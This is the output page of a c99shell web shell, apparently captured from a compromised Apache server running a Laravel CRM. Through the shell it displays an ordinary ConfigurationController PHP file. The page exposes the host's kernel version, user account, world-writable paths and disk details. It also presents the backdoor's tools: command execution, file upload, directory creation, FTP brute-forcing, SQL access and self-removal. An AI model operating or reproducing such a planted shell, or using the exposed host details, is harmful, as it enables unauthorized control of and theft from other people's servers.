!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Admin/src/Http/Controllers/Configuration/   drwxrwxrwx
Free 13.19 GB of 57.97 GB (22.75%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConfigurationController.php (2.12 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Admin\Http\Controllers\Configuration;

use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Http\RedirectResponse;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\Support\Facades\Storage;
use 
Illuminate\View\View;
use 
Webkul\Admin\Http\Controllers\Controller;
use 
Webkul\Admin\Http\Requests\ConfigurationForm;
use 
Webkul\Core\Repositories\CoreConfigRepository as ConfigurationRepository;

class 
ConfigurationController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct(protected ConfigurationRepository $configurationRepository) {}

    
/**
     * Display a listing of the resource.
     */
    
public function index(): View
    
{
        if (
            
request()->route('slug')
            && 
request()->route('slug2')
        ) {
            return 
view('admin::configuration.edit');
        }

        return 
view('admin::configuration.index');
    }

    
/**
     * Store a newly created resource in storage.
     */
    
public function store(ConfigurationForm $request): RedirectResponse
    
{
        
Event::dispatch('core.configuration.save.before');

        
$this->configurationRepository->create($request->all());

        
Event::dispatch('core.configuration.save.after');

        
session()->flash('success'trans('admin::app.configuration.index.save-success'));

        return 
redirect()->back();
    }

    
/**
     * download the file for the specified resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function download()
    {
        
$path request()->route()->parameters()['path'];

        
$fileName 'configuration/'.$path;

        
$config $this->configurationRepository->findOneByField('value'$fileName);

        return 
Storage::download($config['value']);
    }

    
/**
     * Search for configurations.
     */
    
public function search(): JsonResponse
    
{
        
$results $this->configurationRepository->search(
            
system_config()->getItems(),
            
request()->query('query')
        );

        return new 
JsonResponse([
            
'data' => $results,
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--